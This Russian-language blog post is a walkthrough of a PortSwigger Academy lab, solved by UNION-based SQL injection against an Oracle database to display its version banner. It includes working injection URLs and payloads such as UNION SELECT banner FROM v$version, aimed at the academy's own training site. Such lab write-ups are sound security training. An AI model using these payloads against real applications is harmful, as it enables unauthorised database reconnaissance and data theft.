Найти в Дзене
ЗА ИБАС

[PortSwigger, 7/16 SQLi] Атака с внедрением SQL, запрос типа и версии базы данных в Oracle

Оглавление

Да, все еще продолжаем решение лаб на PortSwigger Academy - SQL injection attack, querying the database type and version on Oracle

При эксплуатации уязвимостей SQL-инъекций часто необходимо собрать некоторую информацию о самой базе данных. Это включает в себя тип и версию программного обеспечения базы данных, а также содержимое базы данных с точки зрения содержащихся в ней таблиц и столбцов. В данной лабораторной будем издеваться работать с БД Oracle

Немного душной теории

Разные базы данных предоставляют разные способы запроса своей версии. Вам часто приходится пробовать разные запросы, чтобы найти работающий, позволяющий определить как тип, так и версию программного обеспечения базы данных.

Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие:

-2

Например, вы можете использовать атаку UNION со следующими входными данными:

' UNION SELECT @@version--

Это может вернуть вывод, подобный следующему, подтверждающий, что база данных является Microsoft SQL Server, и используемую версию:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Вы можете использовать атаку UNION для получения результатов введенного запроса.

Чтобы решить лабораторную работу, отобразите строку
версии базы данных.

Решение лабораторной

Сразу зайдем в категорию Gifts и посмотрим что там есть

-3

Сверху видим подсказку, что нам нужно вывести с БД следующую инфу:

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Определим сколько строк вмещаеся в нашу таблицу. Этому мы учились тут

https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=Gifts' UNION SELECT NULL, NULL FROM v$version--
-4

И поймем, какие из столбцов имеют текстовый формат данных. Этому мы учились тут

https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a', 'a' FROM v$version--
-5

Видим, что все 2 столбца имеют текстовый формат данных

Теперь перейдем к чек-листу от PortSwigger, где написано, какие запросы нужны к конкретной БД - в нашем случае для Oracle

Видим, что для Oracle синтаксис следующий

SELECT banner FROM v$version или SELECT version FROM v$instance

Попробуем ввести нашу инъекцию

https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=' UNION SELECT banner, 'a' FROM v$version--
тут я убрал фильтр подарков, ибо смешалась нужная инфа с инфой о версии БД. Ну и можно было 'a' заменить на NULL, чтобы не выдавались лишние буквы Добавьте описание
тут я убрал фильтр подарков, ибо смешалась нужная инфа с инфой о версии БД. Ну и можно было 'a' заменить на NULL, чтобы не выдавались лишние буквы Добавьте описание

Вау, у нас все получилось! Молодцы!

-7